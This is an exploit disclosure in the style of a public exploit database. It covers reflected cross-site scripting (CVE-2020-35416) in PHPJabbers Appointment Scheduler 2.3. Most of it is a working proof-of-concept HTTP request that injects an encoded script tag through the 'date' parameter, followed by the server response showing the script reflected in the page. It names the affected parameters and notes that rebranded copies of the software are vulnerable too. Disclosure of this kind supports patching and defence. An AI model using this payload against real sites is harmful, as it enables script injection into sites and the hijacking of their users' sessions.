PHPJabbers Appointment Scheduler 2.3 Cross Site Scripting

`# Exploit Title: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)  
# Date: 2020-12-14  
# Exploit Author: Andrea Intilangelo  
# Vendor Homepage: https://www.phpjabbers.com  
# Software Link: https://www.phpjabbers.com/appointment-scheduler  
# Version: 2.3  
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 83.0, Microsoft Edge 87.0.664.60)  
# CVE: CVE-2020-35416  
  
Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of Stivasoft/PHPJabbers Appointment Scheduler v2.3 (and many others, in example from "ilmiogestionale.eu", since some companies/web agencies did a script rebrand/rework) allows remote attacker to inject arbitrary script or HTML.  
  
Request parameters affected: "date", "action", arbitrarily supplied URL parameters, possible others.  
  
PoC Request:  
GET /index.php?controller=pjFrontPublic&action=pjActionServices&cid=1&layout=1&date=%3cscript%3ealert(1)%3c%2fscript%3e&theme=theme9 HTTP/1.1  
Host: [removed]  
Connection: close  
Accept: */*  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36  
X-Requested-With: XMLHttpRequest  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: https://[removed]  
Accept-Encoding: gzip, deflate  
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: _ga=GA1.2.505990147.1607596638; _gid=GA1.2.1747301294.1607596638; AppointmentScheduler=5630ae3ab2ed56dbe79c033b84565422  
  
PoC Response:  
HTTP/1.1 200 OK  
Server: nginx  
Date: Thu, 14 Dec 2020 10:48:41 GMT  
Content-Type: text/html; charset=utf-8  
Connection: close  
Vary: Accept-Encoding  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Access-Control-Allow-Origin: *  
Access-Control-Allow-Credentials: true  
Access-Control-Allow-Methods: POST, GET, OPTIONS  
Access-Control-Allow-Headers: Origin, X-Requested-With  
Content-Length: 13988  
  
  
<div class="container-fluid">  
<div class="row">  
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-12">  
<div class="panel panel-default pjAsContainer pjAsAside">  
<div class="panel-heading p  
...[SNIP]...  
<div class="pj-calendar-ym">Dicembre, <script>alert(1)</script></div>  
...[SNIP]...  
  
  
PoC Screenshots:  
https://imgrz.com/item/naqZ  
https://imgrz.com/item/ngZ1  
or  
https://imagebin.ca/v/5kkKgOdFS9n5  
https://imagebin.ca/v/5kkKlhi4amhj  
  
  
  
`